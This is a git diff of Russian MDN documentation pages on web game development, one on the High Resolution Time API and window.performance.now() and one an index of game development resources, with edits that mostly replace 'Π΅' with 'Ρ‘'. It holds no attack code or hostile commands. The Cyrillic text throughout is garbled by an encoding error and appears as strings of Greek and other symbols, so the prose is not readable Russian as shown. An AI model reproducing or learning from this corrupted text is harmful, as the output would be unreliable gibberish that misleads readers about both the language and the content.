+<p>ΠŸΠΎΠΊΠ°Β ΠΌΡ‹ обсуТдаСм распрСдСлСниС Π½Π°ΡˆΠ΅Π³ΠΎΒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎΒ Π±ΡŽΠ΄ΠΆΠ΅Ρ‚Π°, ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ инструмСнт ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <em>High Resolution Time. ΠžΠ±ΡŠΠ΅ΠΊΡ‚</em>Β {{ domxref("Date") }} большС Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС основного ΠΌΠ΅Ρ‚ΠΎΠ΄Π° синхронизации событий, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΎΡ‡Π΅Π½ΡŒ Π½Π΅ Ρ‚ΠΎΡ‡Π΅Π½Β ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ систСмными часами.Β High Resolution Time, с Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, подсчитываСт количСство миллисСкунд начиная с <code>navigationStart</code> (ΠΏΡ€ΠΈ Π²Ρ‹Π³Ρ€ΡƒΠ·ΠΊΠ΅ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°). Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ возвращаСтся Π² Π²ΠΈΠ΄Π΅ дСсятичного числа с Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ Π΄ΠΎ миллисСкунды.Β  Он извСстСн ΠΊΠ°ΠΊΒ <code>DOMHighResTimeStamp</code>, Π½ΠΎ для всСх Ρ†Π΅Π»Π΅ΠΉ ΠΈ Π·Π°Π΄Π°Ρ‡ считайтС Π΅Π³ΠΎ числом с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ запятой.Β Β </p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: БистСмы (Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³Ρƒ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π² микросСкундах, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅Β ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π² миллисСкундах.  Однако, ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎΡΡ‚ΡŒ Π΄ΠΎ 0,001 мс, Ссли способны Π½Π° это.Β </p>
@@ -129,7 +129,7 @@ main(); // Start the cycle</pre>
-<p>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ само ΠΏΠΎ сСбС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊ нСинтСрСсному ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ, Π½ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Ρ‡Π΅ΡΡ‚ΡŒ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠΉΒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π²Π΅Ρ‚ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΏΡ€ΠΎΡˆΠ»ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· этих Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠΊ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>window.performance.now()</code>Β ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ.Β </p>
+<p>Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ нСльзя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ само ΠΏΠΎ сСбС, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊ нСинтСрСсному ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ, Π½ΠΎ Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Ρ‡Π΅ΡΡ‚ΡŒ ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠΉΒ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π²Π΅Ρ‚ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΏΡ€ΠΎΡˆΠ»ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ этими двумя Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· этих Π²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠΊ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒΒ <code>window.performance.now()</code>Β ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ.Β </p>
<pre class="brush: js notranslate">var tNow = window.performance.now();
</pre>
@@ -140,7 +140,7 @@ main(); // Start the cycle</pre>
* НачинаСм с Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой Π² случаС, Ссли какая-Π»ΠΈΠ±ΠΎ строка ΠΊΠΎΠ΄Π° Π²Ρ‹ΡˆΠ΅ Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°
* полагаСтся Π½Π° Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ вставку Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой (ASI).Β Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ случайно Ρ€Π΅ΡˆΠΈΡ‚ΡŒ,
* Ρ‡Ρ‚ΠΎ вСсь этот ΠΊΠΎΠ΄ начинаСтся с ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ строки. ΠŸΠ΅Ρ€Π²Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° с запятой ΠΎΡ‚ΠΌΠ΅Ρ‡Π°Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ
-* Π½ΠΎΠ²ΠΎΠΉ строки, Ссли прСдыдущая Π½Π΅ Π±Ρ‹Π»Π° пустой ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎΠΉ.
+* Π½ΠΎΠ²ΠΎΠΉ строки, Ссли прСдыдущая Π½Π΅ Π±Ρ‹Π»Π° пустой ΠΈΠ»ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½Π½ΠΎΠΉ.
*
* Π”Π°Π²Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ MyGame ΡƒΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π°.
*/
diff --git a/files/ru/games/index.html b/files/ru/games/index.html
index 68b713c1bb..f049abd074 100644
--- a/files/ru/games/index.html
+++ b/files/ru/games/index.html
@@ -21,7 +21,7 @@ translation_of: Games
<dt><a href="/en-US/docs/Games/Introduction" title="/en-US/docs/Games/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈΠ³Ρ€ для Web</a></dt>
<dd>ОзнакомлСниС с тСхнологиями, ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈΠ³Ρ€, Π° Ρ‚Π°ΠΊΠΆΠ΅ - ΠΊΠ°ΠΊ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈΠ³Ρ€, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Web-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Ρ‚Π°ΠΊΠΆΠ΅ рассматриваСт бизнСс-кСйс для создания web-ΠΈΠ³Ρ€.</dd>
<dt><a href="/en-US/docs/Games/Anatomy_of_a_vIdeo_game">Анатомия Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ³Ρ€</a></dt>
- <dd>Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ³Ρ€Ρ‹ Π½Π° самом Π΄Π΅Π»Π΅? Π•ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ для всСх ΠΈΠ³Ρ€ (Π΄Π°ΠΆΠ΅ Ссли, Π½Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, Ρ‚Π°ΠΊ ΠΈ Π½Π΅ каТСтся). Данная ΡΡ‚Π°Ρ‚ΡŒΡ попытаСтся ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ понятия, ΠΊΠ°ΠΊ основныС Ρ†ΠΈΠΊΠ»Ρ‹, Π² ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ ΠΎΠ±Ρ‰Π΅ΠΌ контСкстС. ΠŸΡ€ΠΈ этом ΠΎΠ½Π° всС Ρ€Π°Π²Π½ΠΎ соотвСтствуСт Π²Π΅Π±-стандартам.</dd>
+ <dd>Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π²ΠΈΠ΄Π΅ΠΎ ΠΈΠ³Ρ€Ρ‹ Π½Π° самом Π΄Π΅Π»Π΅? Π•ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‰ΠΈΠΌΠΈ для всСх ΠΈΠ³Ρ€ (Π΄Π°ΠΆΠ΅ Ссли, Π½Π° ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, Ρ‚Π°ΠΊ ΠΈ Π½Π΅ каТСтся). Данная ΡΡ‚Π°Ρ‚ΡŒΡ попытаСтся ΠΎΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ понятия, ΠΊΠ°ΠΊ основныС Ρ†ΠΈΠΊΠ»Ρ‹, Π² ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ ΠΎΠ±Ρ‰Π΅ΠΌ контСкстС. ΠŸΡ€ΠΈ этом ΠΎΠ½Π° всС Ρ€Π°Π²Π½ΠΎ соотвСтствуСт Π²Π΅Π±-стандартам.</dd>
<dt><a href="/en-US/docs/Web/Apps/Developing/Games/Special_considerations">ΠžΡΠΎΠ±Ρ‹Π΅ обсуТдСния для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈΠ³Ρ€</a></dt>
<dd><span id="result_box" lang="ru"><span>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ</span> <span>ΠΈΠ·</span> <span>App</span> <span>Center</span> <span>Π±Π΅Π³Π»ΠΎ рассматриваСт</span> <span>Π²Π΅Ρ‰ΠΈ</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ</span> <span>ΠΏΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅</span> <span>ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρƒ, которая</span> <span>Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ</span> <span>ΠΊΠ°ΠΊ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΠΎΠ΅</span> <span>Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅</span><span>.</span></span></dd>
</dl>
@@ -36,7 +36,7 @@ translation_of: Games
<dt><a href="http://gameprogrammingpatterns.com/">Π¨Π°Π±Π»ΠΎΠ½Ρ‹ программирования ΠΈΠ³Ρ€</a></dt>
<dd>Онлайн-ΠΊΠ½ΠΈΠ³Π°, написанная Bob Nystrom, которая рассказываСт ΠΎ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ… программирования Π² контСкстС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΈΠ³Ρ€ с Ρ†Π΅Π»ΡŒΡŽ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ эффСктивный, Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄.</dd>
<dt><a href="http://blog.artillery.com/">Artillery blog</a></dt>
- <dd><span id="result_box" lang="ru"><span>Π’ ΠΈΠ³Ρ€Π°Ρ… HTML5 ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Artillery Π΅ΡΡ‚ΡŒ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… статСй Π² своСм Π±Π»ΠΎΠ³Π΅.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span>Π’ ΠΈΠ³Ρ€Π°Ρ… HTML5 ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Artillery Π΅ΡΡ‚ΡŒ нСсколько ΠΏΠΎΠ»Π΅Π·Π½Ρ‹Ρ… статСй Π² своём Π±Π»ΠΎΠ³Π΅.</span></span></dd>
<dt><a href="https://leanpub.com/buildinggamesforfirefoxos/">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈΠ³Ρ€ для Firefox OS</a></dt>
<dd><span id="result_box" lang="ru"><span>ΠšΡ€Π°Ρ‚ΠΊΠΎΠ΅ руководство ΠΏΠΎ созданию 2D-ΠΈΠ³Ρ€ с HTML5 для распространСния Π½Π° Firefox ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ….</span></span></dd>
<dt><a href="http://gamedevjsweekly.com/">Gamedev.js Weekly</a></dt>
@@ -56,7 +56,7 @@ translation_of: Games
<dt><a href="http://js13kgames.com/">js13kGames</a></dt>
<dd><span id="result_box" lang="ru"><span>ΠšΠΎΠ½ΠΊΡƒΡ€Ρ кодирования JavaScript для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΠΈΠ³Ρ€ HTML5 с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ„Π°ΠΉΠ»Π°, Ρ€Π°Π²Π½Ρ‹ΠΌ 13 ΠΊΠΈΠ»ΠΎΠ±Π°ΠΉΡ‚Π°ΠΌ.</span> <span>ВсС прСдставлСнныС ΠΈΠ³Ρ€Ρ‹ доступны Π² ΡƒΠ΄ΠΎΠ±Π½ΠΎΠΌ для чтСния Π²ΠΈΠ΄Π΅ Π½Π° GitHub.</span></span></dd>
<dt><a href="https://hacks.mozilla.org/category/games/">Mozilla Hacks blog</a></dt>
- <dd><span id="result_box" lang="ru"><span>ΠšΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡ ΠΈΠ³Ρ€ Π² Π±Π»ΠΎΠ³Π΅ Mozilla Hacks, содСрТащСм интСрСсныС ΡΡ‚Π°Ρ‚ΡŒΠΈ, посвящСнныС </span></span>gamedev<span lang="ru"><span>.</span></span></dd>
+ <dd><span id="result_box" lang="ru"><span>ΠšΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡ ΠΈΠ³Ρ€ Π² Π±Π»ΠΎΠ³Π΅ Mozilla Hacks, содСрТащСм интСрСсныС ΡΡ‚Π°Ρ‚ΡŒΠΈ, посвящённыС </span></span>gamedev<span lang="ru"><span>.</span></span></dd>
</dl>
</div>
@@ -65,24 +65,24 @@ translation_of: Games
<dl>
<dt><a href="/en-US/docs/Games/Tools">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹</a></dt>
- <dd>Π­Ρ‚ΠΎ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ± инструмСнтах, созданных для облСгчСния создания эффСктивных ΠΈΠ³Ρ€ для Web, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ, компиляторы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Emscripten), ΠΈ инструмСнты для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ. <span id="result_box" lang="ru"><span>ΠžΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ</span> <span>основныС ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ</span> <span>ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ</span><span>,</span> <span>даСтся </span><span>прочная Π±Π°Π·Π°</span> <span>для Ρ€Π°Π±ΠΎΡ‚Ρ‹</span> с Π½ΠΈΠΌΠΈ<span>.</span></span></dd>
- <dt><a href="/en-US/docs/Games/Techniques">ВСхничСскиС ΠΏΡ€ΠΈΠ΅ΠΌΡ‹</a></dt>
+ <dd>Π­Ρ‚ΠΎ Ρ€Π°Π·Π΄Π΅Π» ΠΎΠ± инструмСнтах, созданных для облСгчСния создания эффСктивных ΠΈΠ³Ρ€ для Web, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ, компиляторы (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Emscripten), ΠΈ инструмСнты для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ. <span id="result_box" lang="ru"><span>ΠžΠ±ΡŠΡΡΠ½ΡΡŽΡ‚ΡΡ</span> <span>основныС ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ</span> <span>ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ</span><span>,</span> <span>даётся </span><span>прочная Π±Π°Π·Π°</span> <span>для Ρ€Π°Π±ΠΎΡ‚Ρ‹</span> с Π½ΠΈΠΌΠΈ<span>.</span></span></dd>
+ <dt><a href="/en-US/docs/Games/Techniques">ВСхничСскиС ΠΏΡ€ΠΈΡ‘ΠΌΡ‹</a></dt>
<dd>Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π» содСрТит мноТСство статСй ΠΎΠ± ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ°Ρ… создания ΠΈΠ³Ρ€, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Ρ„ΠΈΠ·ΠΈΠΊΠ°, <span class="short_text" id="result_box" lang="ru"><span>ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ столкновСния</span></span>, анимация, 3D, Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
<dt><a href="/en-US/docs/Games/Workflows">Π Π°Π±ΠΎΡ‡ΠΈΠΉ процСсс</a></dt>
- <dd><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π»</span> <span>Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя нСсколько</span> <span>тСматичСских исслСдований ΠΎΠ±</span> <span>основных</span> <span>инструмСнтах ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ…</span><span>, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ…</span> <span>Π²Ρ‹ΡˆΠ΅,</span> <span>ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈΡ…</span> <span>ΠΊ созданию</span> <span>ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…</span> <span>ΠΈΠ³Ρ€</span><span>.</span></span> Π—Π΄Π΅ΡΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°ΠΉΠ΄Π΅Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅, ΡΠ²Π»ΡΠ΅Ρ‚Π΅ΡΡŒ Π»ΠΈ Π²Ρ‹ ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΌ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ 2D ΠΈΠ»ΠΈ 3D ΠΈΠ³Ρ€Ρ‹, Π‘++ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, Π·Π°Π΄ΡƒΠΌΠ°Π²ΡˆΠΈΠΌ ΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свои ΠΈΠ³Ρ€Ρ‹ Π² Π²Π΅Π±, ΠΈΠ»ΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, ΠΈΡ‰ΡƒΡ‰ΠΈΠΌ ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π² написании Π»ΡƒΡ‡ΡˆΠΈΡ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΈΠ³Ρ€.</dd>
+ <dd><span id="result_box" lang="ru"><span>Π­Ρ‚ΠΎΡ‚ Ρ€Π°Π·Π΄Π΅Π»</span> <span>Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя нСсколько</span> <span>тСматичСских исслСдований ΠΎΠ±</span> <span>основных</span> <span>инструмСнтах ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ…</span><span>, ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ…</span> <span>Π²Ρ‹ΡˆΠ΅,</span> <span>ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΈΡ…</span> <span>ΠΊ созданию</span> <span>ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…</span> <span>ΠΈΠ³Ρ€</span><span>.</span></span> Π—Π΄Π΅ΡΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅, ΡΠ²Π»ΡΠ΅Ρ‚Π΅ΡΡŒ Π»ΠΈ Π²Ρ‹ ΠΎΠΏΡ‹Ρ‚Π½Ρ‹ΠΌ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, ΠΆΠ΅Π»Π°ΡŽΡ‰ΠΈΠΌ ΠΏΠΈΡΠ°Ρ‚ΡŒ 2D ΠΈΠ»ΠΈ 3D ΠΈΠ³Ρ€Ρ‹, Π‘++ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, Π·Π°Π΄ΡƒΠΌΠ°Π²ΡˆΠΈΠΌ ΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ свои ΠΈΠ³Ρ€Ρ‹ Π² Π²Π΅Π±, ΠΈΠ»ΠΈ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠΌ, ΠΈΡ‰ΡƒΡ‰ΠΈΠΌ ΠΏΠΎΠΌΠΎΡ‰ΡŒ Π² написании Π»ΡƒΡ‡ΡˆΠΈΡ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… ΠΈΠ³Ρ€.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<dl>
<dt><a href="/en-US/demos/detail/bananabread" title="/en-US/demos/detail/bananabread">BananaBread</a></dt>
